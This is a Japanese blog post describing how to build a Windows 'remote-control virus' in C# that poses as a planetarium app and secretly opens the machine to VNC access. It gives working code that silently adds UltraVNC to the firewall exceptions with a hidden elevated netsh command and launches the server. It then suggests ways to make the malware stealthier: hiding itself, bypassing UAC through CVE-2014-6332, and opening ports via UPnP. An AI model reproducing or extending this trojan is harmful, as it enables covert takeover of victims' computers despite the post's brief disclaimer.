寒い朝

コンピュータ系のことを書きます

遠隔操作ウイルスを作る

盛大に名前負けしそうなタイトルをつけてしまったが、要は知らないうちにVNCサーバーを起動させるプログラム。

実験のために作ったものなので、絶対に悪用しないでください。まあ、今回は同僚にイタズラする程度しかできませんが。

f:id:microwaver17:20151005005952p:plain

被攻撃者にプラネタリウムアプリと思わせて起動させる。UACへの対処はしていないので、適当にOKを押してもらえることを願う。言語はC#、対応OSはXP以降、.NET Framework 4 Client Profileが必要。

Windows ファイアーウォールの例外にVNCを追加する

Windows ファイアーウォールはコマンドラインから設定可能。次のコマンドで、指定したプログラムが例外に追加される。

netsh firewall add allowedprogram program=<プログラムの場所> name=<適当な名前> mode=ENABLE

実際のプログラム例。

// ----- Add Firewall -----
Process process1 = new Process();
process1.StartInfo.FileName = "netsh";
process1.StartInfo.Arguments = "firewall add allowedprogram program=\"" + vncPath + "\" name=\"UltraVNC\" mode=ENABLE";
process1.StartInfo.Verb = "RunAs";  //管理者権限で実行
process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process1.Start();
process1.WaitForExit();
process1.Close();

実行時にUACが表示される。いかに適当にOKを押してはいけないかが分かる。

f:id:microwaver17:20151005012129p:plain

これだけだと、ローカルのネットワークからしかVNCでアクセスできない。外部からアクセスするにはUPnPなどでポートを開けるようにすれば良いと思う。

VNCの実行

ただ起動するだけ。ちなみにUltra VNCを使った。

// ----- Execute VNC ----- 
Process process2 = new Process();
process2.StartInfo.FileName = vncPath;
process2.Start();
process2.Close();

Ultra VNCを使うとタスクバーにアイコンが表示されてしまう。できればライブラリを使ってVNCを自分で実装したほうがいい。

もっとウイルスらしくするには

  • VNCのアイコンを出さない

上にも書いたが、ウイルスにVNCを機能として組み込むべき。そもそもVNCだと攻撃者がPCを操作していることがバレバレ。

  • 自分を隠すようにする

  • UACを出さない

何らかの脆弱性を利用しなければならないが、Windows XPならサポートが終わっているし楽なのではないか。CVE-2014-6332が使えればリンクを踏んだだけで実行させられそうだ。

  • 多機能にする

一世を風靡したiesys.exeはいろいろと便利な機能が付いているようだ。

iesys.exeの詳細が語られる。 - maachangの日記